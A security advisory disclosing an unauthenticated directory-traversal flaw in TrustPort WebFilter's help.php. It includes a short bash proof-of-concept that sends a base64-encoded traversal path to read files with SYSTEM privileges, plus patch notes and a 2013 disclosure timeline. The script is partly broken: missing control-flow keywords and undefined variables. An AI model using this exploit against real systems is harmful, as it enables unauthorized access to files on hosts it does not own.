Trustport Webfilter Remote File Access Vulnerability

Affected Product

Product Name: Trustport Webfilter
Product Version:
Platform: Microsoft Windows

Product/Company Information

 From Trustports website:

     "An advanced solution for the protection and optimization of web 
traffic within your company network.
It enables both monitoring and directing of users web activities.
It also utilizes your internet connectivity, and reduces the risk of 
virus infections.
Contributes to protecting the reputation of your company."

Trustports website can be found at

Vulnerability Description

A vulnerability exists within the help.php script, allowing an remote 
attacker to access files outside of the
webroot with SYSTEM privileges, without authentication.

In order to exploit this vulnerability, an attacker has to craft a 
special GET-request, with a base64 encoded
directory traversal string and file name (see Exploit section).


# PoC Exploit for trustport TrustPort_Webfilter_5.5.0.2232
# Usage: ./ <IP> <path/filename>
# Example: ./ ../../../../../Windows/win.ini


MY_FILE=$(echo -n $2| base64)

if [ $# -eq 0 ]
    echo "Usage: `basename $0` <ip> <path/filename>"

echo -e "GET /help.php?hf=$MY_FILE HTTP/1.0\n\n\n\n" | openssl s_client 
-connect $MY_IP:$MY_CONSOLEPORT -quiet

Patch Information

A patch is available from vendor.
Corrected Build is:

Advisory Information


26/07/2013 - Initial contact with vendor
26/07/2013 - Response from vendor
30/07/2013 - Patch information provided by vendor
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